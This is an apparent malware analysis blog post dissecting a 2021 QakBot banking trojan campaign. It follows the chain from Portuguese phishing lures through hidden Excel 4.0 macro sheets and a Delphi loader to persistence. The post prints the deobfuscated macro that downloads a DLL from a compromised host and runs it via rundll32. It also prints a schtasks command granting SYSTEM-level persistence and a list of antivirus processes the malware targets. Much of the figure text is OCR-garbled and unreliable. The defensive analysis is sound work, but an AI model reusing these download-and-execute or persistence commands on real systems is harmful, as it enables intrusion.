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A taste of the latest release of QakBot — one of the most popular and mediatic trojan

bankers active since 2007.

The malware QakBot, also known as Qbot, Pinkslipbot, and Quakbot is a banking trojan that has been made headlines since

2007. This piece of malware is focused on stealing banking credentials and victim’s secrets using different techniques tactics
and procedures (TTP) which have evolved over the years, including its delivery mechanisms, C2 techniques, and anti-

analysis and reversing features.

Emotet is known as the most popular threat distributing QakBot in the wild, nonetheless, Emotet has been taken down
recently, and QakBot operators are using specially target campaigns to disseminate this threat around the globe. Figure 1

shows two email templates distributing QakBot in Portugal in early May 2021.

Greeting! saudagles
We send report to you again. You can find it via the link below: f | Aqui eu direciono voce os registros mais importantes relacionados 4 nossa chegada, assim como discutimos
! _ndo hdmuito tempo. Por favor, verifique as informagBes necessarias para o préximo link:

om/fKBETx/filipa_martins-39 zip

innhanhsaigon.vn/Q7i/francisco_patricio-31.2ip

Figure 1: Email template of QakBot malware targeting Portuguese Internet end users — May 2021.
h/t @MiguelSantareno — malware submitted on 0xSI_f33d

Additionally, QakBot is able to move laterally on the internal environment for stealing sensitive data, making internal

persistence, or even for deploying other final payloads like ransomware. In recent reports, it could be used to drop other

malware such as ProLock and Egregor ransomware. At the moment, and after the Emotet takedown, QakBot becoming one
the most prominent and observed threats allowing criminals to gain a foothold on internal networks. In the next workflow,

we can learn how the QakBot infection chain works.
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Figure 2: High-level diagram of QakBot malware and its capabilities.

Compromised websites

QakBot is disseminated these days using target phishing campaigns in several languages, including Portuguese. The

infection chain starts with an URL in the email body that downloads a zip archive containing an XLM or XLSM file (Excel)

that takes advantage of XLM 4.0 macros to download the 2nd stage from the compromised web servers.

The 2nd stage — in a form of a DLL with random extension — is loaded into the memory using the DLL injection technique

via rundll32.exe Windows utility. After that, the final payload (QakBot itself) is loaded in memory and the malicious activity

is then initiated. The malware is equipped with a list of hardcoded IP addresses from its botnet, and it receives commands

and updates from the C2 server, including the deployment of additional payloads like ransomware.

Dribbling AVs with XLLM macros

The malicious Office document, when opened, it poses as a DocuSign file — a popular software for signing digital

documents. The malicious documents take advantage of Excel 4.0 macros (XML macros) stored in hidden sheets that

download the QakBot 2nd stage payload from the Internet — malicious servers compromised by criminals. Then, the DLL is

written to disk and executed using the DLL injection technique via regsvr32 or rundll32 utilities.

DOCUS : THIS DOCUMENT IS ENCRYPTED BY
. DOCUSIGN® PROTECT SERVICE

PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION

E] If this document was downloaded from Email, please click Enable Editing
from the yellow bar above

@ Once You have Enable Editing , please click Enable Content
from the yellow bar above

WHY | CANNOT OPEN THIS DOCUMENT?

@ You are using iOS or Android, please use Desktop PC

m You are trying to view this document using Online Viewer

Dochgxz«%

The Global Standard for eSignature’
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Figure 3: Excel document used to lure victims and download and execute the QakBot 2nd stage.

According to a publication by ReversingLabs, “among 160,000 Excel 4.0 documents, more than 90% were classified by

TitaniumCloud as malicious or suspicious*.

(...) if you encounter a document that contains XLM macros, it is almost certain that its macro will be malicious, RL

concluded.
Sample Classification Count Percentage
Goodware 14458 9.1%
Suspicious 738 0.5%
Malicious 144052 90.4%
Total 159248 100%

Table 1: Classification and distribution of documents containing XLM macros (source).

The malware families detected in the sample set by RL show that ZLoader and Quakbot are the dominant malware families

in the Excel 4.0 malware ecosystem.

Top 10 malware families

ZLoader |
Quakbot |
LULIELELELTE
EncDoc GG
AShadow [
Heuristic 1IN
Stratos N
Valyria 1l
TrickBot
XFKryptikOLE

0 10000 20000 30000 40000 50000 60000

Figure 4: Malware family distribution using XLM macros in the wild (source).

XLSM file — QakBot loader

Filename: catalog-1712981442.xIsm
MD5: £86c6670822acb89df1eddb582cf0e90
Creation time: 2021-04-29 22:18:33

An XLSM file is a macro-enabled spreadsheet created by Microsoft Excel, a widely-used spreadsheet program included in
the Microsoft Office suite. These kinds of files contain worksheets of cells arranged by rows and columns as well as

embedded macros.

The compressed Microsoft Excel filenames appear to follow a naming convention beginning with document-

or catalog-, followed by several digits and the .xlsm or .xls extension, for example, catalog-1712981442.xIsm.

Initially, the Excel document prompts the victim for enabling macros to start the infection chain. In detail, the Excel
spreadsheet contains hidden spreadsheets — Excel 4.0 macros, spreadsheet formulas, and BIFF record all with the goal of

passing a wrong visual inspection for the final user and malware analysts.
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DOCUS ; THIS DOCUMENT IS ENCRYPTED BY
. DOCUSIGN® PROTECT SERVICE

PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION

@ If this document was downloaded from Email, please click Enable Editing
from the yellow bar above

@ Once You have Enable Editing, please click Enable Content
from the yellow bar above

WHY | CANNOT OPEN THIS DOCUMENT?

@ You are using iOS or Android, please use Desktop PC

m You are trying to view this document using Online Viewer

Docuﬁ'gz%

The Global Standard for eSignature’

Sheetl *
Figure 5: Only the first sheet appears when the XLSM file is opened in order to obfuscate the malicious content from the
eyes of the malware researchers.

Looking at the internal XML files that are part of the Excel XLSM file, we can easily identify that exist other sheets hidden
inside the document, as highlighted in Figure 6.

[ workbook xmi E3

Figure 6: Discovering other hidden sheets inside the internal structure of the malicious XLSM doc file.

From the content highlighted above, we can see the names “Sheet1“, “Sheet2“, “Sheet3” and “Sheet4” as the total of sheets
available in the document, and also that “Sheet2” will trigger something when the document is opened using the feature

“xlnm.Auto_Open” call.

In short, this type of malicious documents will usually have a cell as “Auto_Open cell”, and its functionality is very similar

to the “Sub AutoOpen()” function in VBA to automatically run macros when the victim press the “Enable Content” button

at the start.

Just a way to confirm we are facing a malicious document, we investigated the internal file: shareString.xml — which

usually contains interesting stuff such as hardcoded strings, URLSs, and so on.

Bingo!
[ sharedStrings xml E3
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4 catalog-1712981442.xds

=1 catalog-1712981442.xls ASHEX  AsText  AsPictre  ASRTF  AsHTML
) " N = Data Interpreter 2001 9203 @405 0687 9809 @ARE eCeD @EeF ©123456789ABCDE

o =l Position 58207 @xeE26@ | 8961 0100 @ecs 010e @972 @1ee eess e1ee .a...d...r...T..
| DocumentSummaryInformation X

Hex E35F @xeE270@ | @053 0100 9846 9200 0076 6501 0200 4DeF

|SummaryInformation Bin 1110001101011 exee2se 6 7
] Workbook Selection 224 L
= 8bit 0 BX0E248
Signed ° exeszee
Hex 0 exeE2ce
Bin 00000000 g"g:i‘:‘;

i
= 16bit 10752 .
Saned 10752 exeezee
Hex 2A00 exeEsle
Bin 10101000000000 =
(B 32bit 134228480 axoE330
Signed 134228480 exeE3s0
1 Fex 0
Bin . @xeE36e 9800 19E2 0000 eC0e 9000 3AE2 0000
= 64bit 5}54&332561531135 @xeE37@ | 2000 0000 SAE2 0009 4De? 2eee 7BE2 eeee - Zéd..M...{8..

Figure 7: Hardcoded URLs used to download the QakBot 2nd stage via URLDownloadtoFile call and execute it
using rundlI32.

From this point, we know that the 2nd stage will be downloaded from the previous URLSs using
the URLDownloadtoFile call, but some content seems a bit obfuscated. This is the interesting part that makes XLM macros

a potent initial stage to start malware infection chains.

Digging into the details, we can observe that several combinations and operations in documents cells are performed to

concatenate the final string that will execute the QakBot DLL (2nd stage) into the memory.

[Loading Cells]
auto_open: auto_open—»Sheet2!$A0$115
SHEET: Sheet2, Macrosheet
» =SET.VALUE(AY12@,AV1316AV1326AV1336AV1346AV1356AV1366AV1376
=Sheet31AQ22:A022() ,
Sheet2",1.0)s BOOK . HIDE( "Sheet4™,1.0), 1
! 4165heet31AS42: AS426Sheet3 | ASA3 :AS436Sheet31ASLL: ASA4ESheet 3 1ASAS : ASASESheet
G491 ASi96Sheeta 1ASS0: ASSsSheet3 1 ASS1:ASSIBSRNESIASSIASS 85he L 1ASS3 ASS35Sheet31 S5t ASS4, Sheet21AY113:AY113), 1
, =SET.VALUE(AY115,AU123), 1
ORMULA(AV1176AV1186AY12065heet3IAT39:AT396" 1" 6Sheet 'AV]]] AY1136Sheet2/AV1I39:AV139, AW148), 1
XEC("rundl132 ..\jordji.nbvtil,Dl1RegistersServer®),
, ®SET.VALUE(AY108, SN-S(}‘AQ“ AQ3965heet3!AQ40 AQhﬂhShy“i'ADhl AQ4165heet3!AQ42 :AQ4265heet 3! AQL3 1 AQ436Sheet 3 AQhs : AQLLESheet3 ! AQLS : AQ
:AQ4BESheet3 1AQ49: AQU9BSheet 31 AQ50 :AQ505Sheet 34AQ51 :AQS16Sheet 3 | AQS2 :AQS26Sheet 31 AQS3 : AQS36Sheet3 | AQS4 - AQS4ESheet3 1AQS5: AQSS ),

0
rdji.nbvt1,DllRegisterServer”), 33.0
=SET.VALUE(AY107,AV12365heet2 1AV124: AV12465heet2 |AV125: AV12565heet2 | AV126: AV1266Sheet2 1AV127:AV127), 1
ET.VALUE(AY118, Sheet3!AR39: AR395Sheet 3! ARG : AR4DESheet31AR41: AR416Sheet3 ! AR42 1 AR425Sheet 31 ARAI: ARA36Sheet3 1 ARG4 ARMA), 1
heet31AT14:AT14()
\jjoputi.we* , ..\jjoputi.wt
ORMULA(AV1176AV1185AY12055heet3 ! AT39:AT396Sheet2 1 AY113: AY11365heet2 1AV139:AV139, AW147), 1
Y

Figure 8: Malicious code responsible for starting the QakBot 2nd stage and available on several hidden sheets.
Part of the strings extracted from the malicious Excel file are presented below:auto_open:

auto_open: auto_open->Sheet2!$A0$115 SHEET: Sheet2, Macrosheet CELL:A0134 , =SET.VALUE(AY120,AV131&AV132&
In order to understand in detail and reveal the clear source code, we need to learn about the BIFF8 format. Some details and
workarounds were also shared in an old campaign involving the FlawedAmmyy malware here.

According to the XLM specification by Microsoft available here, all the information about the sheet, including its name,
type, and stream position is kept within a BOUNDSHEET record (85h). Figure 9 shows how a Sheet type is defined and
the Hidden status possible flags:

e 00h: visible
¢ 01h: hidden
e 02h: very hidden
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Changed Records in BIFF8 for Microsoft Excel 97 BOOKEXT: Extra Book Info 8630
Number Record BOOLERR: Cell Value, Boolean or Error 205h
09h BOF BOTTOMMARGIN: Bottom Margin Measurement 2%h
85h BOUNDSHEET BOUNDSHEET? Sheet Information 85h
200h DIMENSIONS CALCCOUNT: Iteration Count 0Ch
08h LNDEX CALCMODE: Calculation Mode 0Dh

BOUNDSHEET: Sheet Information (85h)

This record stores the sheet name, sheet type, and stream position.

BIFF8 Record Data
Offset Field Name Size Contents

4 1bPlyPos 4 Stream position of the start of the BGF record for the sheet
8 grbit 2 Option flags

10 cch 1 Length of the sheet name (in characters)

11 rgch var  Sheet name (grbit/rgb fields of Unicode String)

BIFF7 Record Data
Offset FieldName Size Contents

4 1bPlyPos 4 Stream position of the start of the BOF record for the sheet
8 grbit 2 Option flags

10 cch 1 Length of the sheet name

11 rgch var Sheet name

The grbit field contains the following options:

Bits Mask  Option Name Contents
1-0 0003h hsstate Hidden state:
00h = visible
01h = hidden
02h = very hidden (see text)

7-2 00FCh  (Reserved)

15-8 FFOOh  dt Sheet type:
00h = worksheet or dialog sheet
01h = Excel 4.0 macro sheet
02h = chart
06h = Visual Basic module

Figure 9: BIFF format and BOUNDSHEET information (85h), including sheet type and its possible status.

By analyzing the XLSM document, we can see in Figure 10 that only the first BOUNDSHEET ( 0x09 0xF0 0x00
0x00 ) has the hidden status as visible — 0x00h. The other BOUNDSHEETS are defined as very hidden using the hex
value 0x02h.

HIDDEN SHEET
STREAM STATE TYPE

BIFF BOUNDSHEET (85h) 14 |09 Fo 00 00 |fpofjoo] 06 00
BIFF BOUNDSHEET (85h) 14 |sc sc 02 00 |fo2]fo1] o6 o0
BIFF BOUNDSHEET (85h) 14 |aE pE 02 00 p2]jo1f o6 00
BIFF BOUNDSHEET (85h) 14 |19 E6 02 00 [jo2]jo1fos oo

Bits Mask Option Name Contents

1-0 0003h hssState Hidden state:
00h = visible
01ih = hidden
02h = very hidden (see text)

7=-2 00FCh (Reserved)
15-8 FFOOh dt Sheet type:

00h = worksheet or dialog sheet
01h = Excel 4.0 macro sheet
02h = chart

06h = Visual Basic module

Figure 10: Internal details about the malicious BOUNDSHEETS and hidden states.

Digging into the details, four BOUNDHSEET records means that the document has four sheets, but three of them are very
hidden. Using a common HEX editor, we can change the values and fix the target XLSM file as depicted in Figure 11.

Offset(n) 00 01 02 03 04 05 06 07 08 offset (n)
00003290 00003290
000032A0 00003230
00003280 00003280
000032C0 000032C0
00003200 00003200
000032E0 000032E0
000032F0 000032F0
00003300 00003300
00003310 00003310
00003320 00003320
00093339
00003340
00003350
00003360
00003370
00003380
00003390
00003330
00003380
000033C0
00003300
000033E0
000033F0
00003400
00003410

00003330
00003340
00003350
00003360
00003370
00003380
00003390
000033A0
00003380
000033C0
00003300
000033E0
000033F0
00003400
00003410

Figure 11: Patching the XLSM malicious file to unhide all the sheets.

As highlighted above, the values of the last bytes 0x02h and 0x01h were changed to 0x00h and 0x00h on the
BOUNDSHEET related to Sheet2. The same process was done to the other BOUNDSHEETS. By opening again the
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malicious file, we can see now that all the sheets are available and also navigate through the source code spread on random

cells.

106|
107| URLMo

108| URLDownloadToFile
109|

110

111|

112

113 ,DlIRegisterServer
114

115 0

116|

117

118 JICCBB

119|

120| ("rundll32

121

146/

147| '=EKEC{"rundII32 ..\jordji.nbvt1,DIIRegisterServer")

148 '=EXEC{"rundII32 ..\jordji.nbvt11,DlIRegisterServer")

149|

150

151|

152| "=Sheet31AT14()

153 |

154

Sheetl  Sheet? = Sheet3 | Sheetd +

Figure 12: Souce code available on the revealed Sheets.

During the code analysis, we found that criminals used another trick to make hard the analysis task. To prevent a casual
visual inspection of these values, the font color was set to white. So, before analyzing the cells, we need to change the

document background color or the font color.

By deobfuscation the formulas and reassembling the strings back to the original form, we can learn how the malicious chain

starts:

o The loader uses a VBA CALL statement to access the URLDownloadToFile function from URLMon.dll to download
the 1st stage DLL from the hardcoded URLs to the local path (..\\) using a random name to the file: jordji.nbvt1.
» Next, the DLL is loaded into the memory using the DLL injection technique via rundll32.exe utility from Windows,

allowing code to be executed.

CALL(URLMon,URLDownloadToFileA,JJCCBB,0,hxxps://dentistelmhurstny.]Jcom/...,..\\jordji.nbvt11,0)EXEC(“rundll32
..jordji.nbvt11,DIIRegisterServer”)

QakBot 2nd stage — the bait loader

Filename: jordji.nbvt11

Original filename: rwenc.dll

MD5: 7d0f6c345cdaf9e290551b220d53cd14
Creation time: 2021-04-13 19:53:55

The QakBot 2nd stage is a DLL loaded in memory and its principal mission is:

» Execute in memory the last payload (QakBot itself)
¢ Make hard the malware analysis, seems a legitimate file, and adding confusion with non-used libraries, calls,

and so on.

At the first glance, this DLL seems very simple, with just a few calls present on the Import Address Table (IAT).
Nonetheless, something caught our eyes, the triple chain: LoadLibraryA, VirtualAlloc, and VirtualProtect. No doubt, we

are facing a DLL injection technique and another payload is going to be executed in memory.
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Offset Name Value Meaning Module Name Imports OFTs TimeDateStamp | ForwarderChain | Name RVA'
58600 Characteristics. 0
58604 TimeDateStamp 6075603 Tuesday, 13.04.2021 19:5355 UTC fotsoecs A O00GDAGS | 0006DASS Eee DOCODA
58608 MajorVersion 0 szAnsi (nFunctions) | Dword Dword Dword Dword
58604 MinorVersion [
5860C Name 54032 wenc.dil
58610 Base 1 userd2.dil 8 0007111C 00000000 00000000 00071260
58614 NumberOffunctions 1 )

shiwapi.dil 1 00071114 00000000 00000000 0007127C
se618 NumberOfNames 1 i
S861C AddressOfFunctions 54028 advapi32.di 1 000710DC 00000000 00000000 0007129
58620 AddressOfNames  5A02C imagehip.dil 1 00071084 00000000 00000000 000712C2
58624 AddressOfNemeOr... 54030

OFTs FTs 0AT) Hint Name
Exported Functions [1 entry ]
Offset Ordinal FunctionRVA  Name RVA Name Forwarder -
i N e Sa0c = Dword Dword Word sehnsi

00071150 00071150 0000 GetProcAddress

00071162 0007162 0000 GetTickCount

00071172 0007172 0000 | LoadLibraryA

00071146 6 VirtualAlloc

00071186 00071185 0000 VirtualProtect

00071140 00071140 0000 GetLastrror

0007118F  O07L8E 0000 lstrempA

0007119A  0007119A 0000 strienA

00071182 00071182 0000 strcatA

Figure 13: QakBot 2nd stage, its import table (IAT), and the well-known calls used in the DLL injection technique.

Gotcha!

3C3 18 T
23 88560310 mov dword ptr ds:[10035688], eax
o3

ssec
S1EC 10020000
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File Imports Trace Misc Help

27acede7ordifser: Sceat
T
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100033¢8 10si0210 lPush. 27 Acede?s” sufBefseeh: 2 o€sar sARoaE| 1002831031 Y (3R
10003400 push est
10003401 ocseo310 movaword prr s ec),
15 6000210 Gnord ptr Featetnmerariiea
2000340 54010000, push 164
10003411 55 FororFr Tea eax,dword per = febp-2100
1000341 o ea
10003418 35 DCse0310
100034ic|  Fris s4000210
1000342 saFs
10002426 FFiS_so010210
1000342 3
10003426 3
10003430 H Actions
10003432
10003433 1c Autotrace
10003433 36 L J
003437 3
10003439 =
10003438
1000343 s Roveb, eax
1000343 Fas 70000220 i gvird per oo: (<asiesIe]
10003448 &4 cro el L
10003448 9
w0003i7| < 75 00 }ne znmwwmfufmvsxufmbsbe AT Search st 100000 last A
10003448 1.., zusmnwnfurmus:nfmbsbe IAT Search Adv AT A 10020004RYA 00020004 Sce 0023 (50)
Jel100034s0|  83rB 7A a1z 14T Search A DO0IFFEC Sz 00023 (369

AT s s, o 15 vk AP e o6
'DIRECT IMPORTS o

fesp]: " al_AJAX10]

10003464| 68 14010000

Offset Name Value Meaning

33120 Characteristics 0

314 TimeDateStamp  6076C5C3 Wednesday, 14.04.2021 10:36:51 UTC
33128 MajorVersion 0

33124 MinorVersion 0
3312C Name 33D52 ~ stager 1.dll

33130 Base 1
33134 NumberOffunc... 1
33138 NumberQOfNames 1
3313C AddressOffunc... 33D48
33140 AddressOfNames 33D4C
33144 AddressOfNam... 33D50

Exported Functi [1entry]
Offset Ordinal Function RVA Name RVA Name Forwarder
33148 1 354C 33D5F D‘qm

Figure 14: QakBot final stage dumped from memory.

The art of confusion ... playing with bins

In another sample we have analyzed (9b1a02189e9bdf9af2f026d8409c94£7), the process of injecting the last payload into
the memory is very similar, but the loader was developed in Delphi — a clear sign that criminals are adding additional layers,

resources, and features to make hard the QakBot identification and its analysis/detection.

Tomap BRABORT GOWERD  bimap - w 6% CEECARASECHII 290 newnl T
bitmap. BBALL 00006730 bitmap - 8 006% FBAOBASFAOSTCEASAMSXOMCADI2 3170 neutral 2000000 - s
bimap sscanceL 00EFSDI btmap - - 06% COREMOCAFDIASUIIGIONCUIND 2521 mewtral ; s
bitmap BecLose G0006FOM  btmap - o 006% SCURATBDIBMINSENAR 3685 el s
bitmap. BBHELP OX0006FF74 btmap. - a6t 006% 10216573358 A4838DB07ES2311230F38 2881 neutral 28000000 3.
bimap BEIGNORE 0000 btmep - " 006 % DEBSEECNSAIMESANDRC | 357 neutral - s
bimap BENO oo bemep - - 006% BRSGBRIFTEIRVMRNEE | 3586 | el B s
bimap 880K DO btmap - 1 006%, ABUTAROEESASEDITRRIIG | 2875 | et s
bitmap BERETRY 00000684 btmap - w 006 AN 353 neind B s

a6t neutral - s,

m neutral -

16 et EDEBORTBOUQOY. &=08

80 neutral 1000000 8C 00 00 00 00 5300 0000 01

358 S9EEE2201106457SLADEBSCEF CAI0062

neutral 5450463006 54 466F 7260310546 .. TPFO.TForml

x 100000 1261% BCOGOSRBEIMIDINEIEREIICIE0NAL 4980 Englsh-Un... 3F B9 BO0DF24F 1D T2ECOI65CL
x 208017 %35% SOVRIMDESOBSIOTUEL 7664 Enghsh-Un.. 0026030082812 24 BASI2CHB.. .
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Figure 15: Identification of Delphi forms and unknown resources (encrypted QakBot DLL).

Criminals use multiple loaders like this built-in Delphi language with a lot of junk, GUI forms, and native functions from
Delphi as a way of deceiving threat detection systems and hidden the last payload from the tentacles of the malware

analysts.

push obp
mov ebp, esp

[E=mieen -

ate<TForm1 FomCreate
4 Butont Touton

pascal TSQUTimeStampData

pascal TSQUTimeStampData

pascal SqiTimSt (=
pascal - EBcdException

pascal EBcdOverflowException

pascal TFMTBcdVariantType

pascal TFMTBcdData

pascal TFMTBcdData

| CODE:004601C3 00000007 pascal FMTBcd

" CODE:0046399E 0000001C pascal TDefaultDBScreenApplication
'] CODE00463F48 00000008 pascal Buttonl
CODE:00463F58 00000008 pascal FormCreate
CODE:00463F69 00000000 pascal ButtonlClick

CODE:00463F76 pascal TForml
CODE:00463F89 pascal TForml

Figure 16: A lot of Delphi native functions and forms to make hard malware detection.

The art of confusion is not new, and several trojans are using this kind of approach in their operations, such

as Javali, Grandoreiro, and URSA, all of them banking trojans that come from Latin American countries.

Take a look at the code, we can find that once again the LoadLibrary call is used to execute in memory the last QakBot
payload. Figure 17 highlights the parts of the code responsible for loading the final payload.

push  ebx 5 1pstringt U8 = (CHAR *)&1oc_W057D9;
call  Istrcpynd u7 = __readfsduord();
push 2 3 dwFlags __writefsdword(9, (unsigned int)ew7);
push  © ; hFile chbat 5
lea  eax, [ebp+Filenane] Syster 37(Filenane, 261);
push  eax 5 1pLibFileNane if ( RegQueryValueExA(p| ult, Filenane, 0, 0, &ata, &cbData)
call  LoadLibraryExn & yUalueExA(phiiiesult, ValueName, 0, 0, &Dats, &cbbats) )
mou esi, eax
¥ __writefsdword(8, v7);
Pi=] U9 = (int)tloc_MOS7ED:
= RegCloseKey(pniResult);
>
[Loc_saseec: IstrepynA(Filenane, 1pString2, 261);
vo = 5;
8 = elCbata;
v7 =3

v2 = GetThreadLocale();
GetLocaleInfoA(uz, u7, U8, v9);
ug.= 0
if ( Filenane[8] && (LCData || Data) )
<
for (i =lefilenanc[lstrlena(Filenane)]; »i t= 46 8& i t= Filenane; —=i )

[ebp+LCData], ©
short loc_up5sFal

[]
= if (is=Fidenape )

lea  cax, [ebp+Filenane] <
hou  edx, ebx us = i+ 13
sub  edx, eax iF ( Data )
nou  eax, 105h <
sub  eax, edx strepynA(us, (LPCSTR)EDAta, 261 = (us - Filenane));
push  eax ; iMaxLength 3 = LoadLibraryExA(Filenant, 0, 2u);
lea  eax, [ebpeLCData] 59 >
push  eax 3 1pstring2 60 iF (s )
push  ebx 3 1pstringt 61 <
call  lstrcpynn 62 iF ( Lobata )
push 2 3 dwFlags 63 <
push  © 3 nFile 64 1strcpynA(us, BLCData, 261 - (uS = Filenane));
lea  eax, [ebpsFilenane] 65 3 = LoadLibraryExA(F ilenane, 0, 2u);
push 5 1pLibFileNane| 66 iF (1
call  LoadLibraryExn 67 <
mou esi, eax 68 ;
test  esi, esi 69 1strepynA(us, &LCData, 261 - (u5 - Filenane));
jnz__ short loc_sessFa 79 U3 = LoadLibraryExa(i {1enane, 0, 2u);

7 >

72 >

1 73 )
oy
| I

Figure 17: DLL injection technique used to load the last QakBot payload into the memory.

We got it!

Figure 18: Dumping from the memory the last stage of QakBot malware.
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There is no doubt, it is the same payload just compiled on a different date (another release).

4-- || RCData 00034A88 (5C DF 42 F7 BD 86 2R 24 13 48 A0 TB B9 43 SE 8D - |V B *§ H [ C~
e 113:0' 00034RARE (CO 06 SE 51 3C D3 E2 63 76 9B SD 80 7B 23 SF BA [ | R oov ] {#F_
m 00034ABE |24 76 DC RZE B2 F2 25 18 04 BB 37 72 8E B& 93 FA A v % Tr
00034RACE |RE 1D.CE 34 74 33 B6 2C AT ER OF 71 25 81 CE 26 |= 43 , a3 &

00034ADE (A9 EF AB FE DT 03 3F 4A 55 3B CE 5A RO 18 20 C7 U; Z
O0034REE |78 75 32 DC 4E 41~4C.C% A2 B5p68.4D EF-CR-31 79— | xud NAL hM 1y
00034AF8"| Car5C 5B 4% _GE 50 53 &E BA BF 69 BC 0B DI ED 51 " FnFn i Q
00034BOE 01 A3 B4 70 21 BF BB.JD D2 62 33 F3 DA 1D J4E 42 p! |} b3 NB
00034B18 | 6D 4C 77 2E 46 DB B8 BE AR 44 AL DC &D 45 FD 48 mLw.F D mE H
00034B28 (C8 F& 96 59 AA F&(37 35 48 2B 8F CR /B2 6437 &1 ¥ 7SI+ d7a
00034B38 A% BB 4C 06 97 2B 12 D2 C4 BF 74 1A C4 46 4B 2C L + t FK,
00034B48 |BF F1 43 CC E8 99 Feé 8D 1D C3 F4 0B 21 72 E3 AF C Iz
00034B58 |06 06 90 1B 3A EE DE BC 16 90 A0 9B 9F F1 DD 36 B 6
00034B68 |71 80 92 B3 40 &F TF DF DC B4 2E B4 &2 25 2B DR q @ . b%+

Figure 19: PE information about the QakBot last stage (stager_1.dIl).
QakBot last stage — The beast

The last stage of this chain — QakBot itself — is also a DLL built with Microsoft Visual C++, the original name
is stager_1.dll, and it exports only the function: DIIRegisterServer. The easy way to identify the last release of the QakBot
DLL, it’s looking at the two resources named “118” (C2 list) and “524” (bot config) encrypted using the RC4 algorithm.

4-- || RCData 00034A9E (5C DF 42 F7 8D 86 2R 24 13 48 A0 TBBY 43 SE 8D =« |\ B *$ H [ C~
e 113:0' 00034RARE (CO 06 SE 51 3C D3 E2 63 76 9B SD 80 7B 23 SF BA [ | R oov ] {#F_
m 00034AB8 |A4 76 DC RE B2 F2 25 18 04 BB 37 72 BE Be 93 FA A v % Tr
00034RACE |RE 1D.CE 34 74 33 B6 2C AT ER OF 71 25 81 CE 26 |= 43 , a3 &

00034RDE (A9 Ef AB FE D7 03 3F 4R 55 3B CE 5A RO 18 20 C7 U 2
O0034REE |78 75 32 DC 4E 41~4C.C7 A2 B5p68.4D EF-CR-31 79— | xud NAL M 1y
00034AF8"| Car5C 5B 4% _GE 50 53 &E BA BF 69 BC 0B DI ED 51 " FnFn i Q
00034BOB(01 A3 B4 70 21 8F BB.JD D2 €2 33 F3 DA 1DJE 42 p! |} b3 HB
00034B18 | 6D 4C 77 2E 46 DB B8 BE AR 44 AL DC &D 45 FD 48 mLw.F D mE H
00034B28 (C8 F& 96 59 AA F&(37 35 49 2B 8F CR/B2 6437 &1 ¥ 7SI+ d7a
00034B38 A% BB 4C 06 97 2B 12 D2 C4 BF 74 1A C4 46 4B 2C L + t FK,
00034B48 |BF F1 43 CC E8 99 Feé 8D 1D C3 F4 0B 21 72 E3 AF C Iz
00034B58 |06 06 90 1B 3A EE DE BC 16 S0 A0 9B SF F1 DD 36 3 [
00034B68 |71 80 92 B3 40 &F TF DF DC B4 2E B4 &2 25 2B DR q @ . b%+

Figure 20: Resources name found in the last release of the QakBot DLL.

An interesting detail regarding this new release is that QakBot tries to decrypt the configuration as usual. Initially, it takes
the first 20 bytes of the resource and uses it as the RC4 key. After that, it takes 20 bytes from the decrypted blob and uses the
bytes as a SHA1 verification for the rest of the decrypted data.

The fresh method starts here. Every time the SHA1 validations fail, QakBot tries the new decryption method. In sum, it uses
the SHA1 PowerShell path hardcoded inside the binary as an RC4 key. This new approach involves the new

campaigns: biden, clinton, and tr and was introduced in the 401 major

version.\System32\WindowsPowerShell\v1.0\powershell.exe

Some samples of QakBot trojan are signed PE files with a valid signature issued by several CAs. For example, we can see
this sample (cd1ab264088207f759e97305d8bf847d) is signed by Sectigo — a well-known CA also abused by developers of
other kinds of threats in the past.

A popular technique used by criminals to make complicated and to waste the reverse engineer’s time analyzing is the junk
code insertion. In this sense, QakBot is not an exception. The malware author added a lot of API calls that alternates
between the real instructions — to enlarge the analysis time-consuming and cause disturbing when the malware executes in a

sandbox environment.

Another interesting detail is that the developers of QakBot added a non-standard calling convention that makes it difficult to
understand and recognize the real parameters passed to the functions. The common standard calling conventions

are cdecl, stdcall, thiscall or fastcall.

The strings inside the QakBot are encrypted, decrypted in run-time, and destroyed after use (like the mediatic Emotet).

Some of the strings hardcoded inside the DLL are presented below.

As observed below, the strings are encrypted and stored in a continuous blob. The decryption function accepts an argument:
index to the string; and then XORed it with a hardcoded byte array.

After this point, some strings will be decrypted in run-time and also the API functions via a pre-computed hash based on the
API functions that will resolve calls dynamically. More details about this can be found in this great article by the VinCSS

blog.

Also important to highlight some anti-debugging and protection mechanisms used by this piece of malware. Also stated by
VinCSS analysis, “if the victim machine uses Kaspersky protection (avp.exe process), QakBot will inject code into

mobsync.exe instead of explorer.exe.“. We can find more details and target processes in Figure 27 below.

The full list of target processes can be found below:
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ccSvcHst.exeavgesrvx.exeavgsvex.exeavgcsrva. exeMsMpEng. exemcshield.exeavp.exekavtray.exeequi.exeekrn.exebdagel

During this analysis, QakBot injected a new payload in the target process “explorer.exe” and then a scheduled task was
created as a persistence mechanism using schtasks.exe Windows utility.”C:\Windows\system32\schtasks.exe” /Create /RU
“NT AUTHORITY\SYSTEM?” /tn vcjscfpgk /tr “regsvr32.exe -s \”C:\Users\Admin\AppData\Local\Temp\k.exe.dll\*” /SC
ONCE /Z /ST 01:34 /ET 01:46

v © Processes 7
® C:\Windows\system32\rundll32.exe PID:2004
rund1132.exe C:\Users\Adnin\AppData\Local\Temp\k. exe.d11, #1 -
= C:\Windows\SysWOW64\rund|I32.exe PID:1544
rund1132.exe C:\Users\Adnin\AppData\Local\Temp\k.exe.d11, 41 -
B C\Windows\SysWOW64\explorer.exe pID1072
—————
C:\indous\SysHOHEA\explorer. exe
= C:\Windows\SysWOW64\schtasks.exe PID:1092
\Windows\systen32\sehtasks.exe® /Create /RU “NT AUTHORITY\SYSTEM" /tn vciscfpak /tr “reg .
\Users\Adin\AppData\Local\Temp\k. exe.d11\"* /SC ONCE /Z /ST 01:34 /ET OL:
= CA\Windows\system32\taskeng.exe PIDISE0
taskeng.exe {883FS9F3-ACD-4B47-8D74-CFIB2DIIIETA} S-1-5-18:NT AUTHORITY\System:Service F—
= C\Windows\system32\regsv32 exe PiD384
regsur3.exe -5 “C:\Users\Adain\AppData\Local\Temp\k.exe.d11 !
B C\Windows\SysWOW64\regsvr32.exe PID:808

-s "C:\Users\Adnin\AppData\Local\Temp\k. exe.d11"

Figure 28: Process flow of the QakBot execution.

In addition, the QakBot DLL will be loaded every time using the Register Server utility, regsvr32.exe, with the following

parameters:

» /Create: schedules a new task

e /RU“NT AUTHORITY\\SYSTEM?”: executes the task with elevated system privileges

o /tn <RANDOM_STRING>: specifies the task name, seemingly using a random string

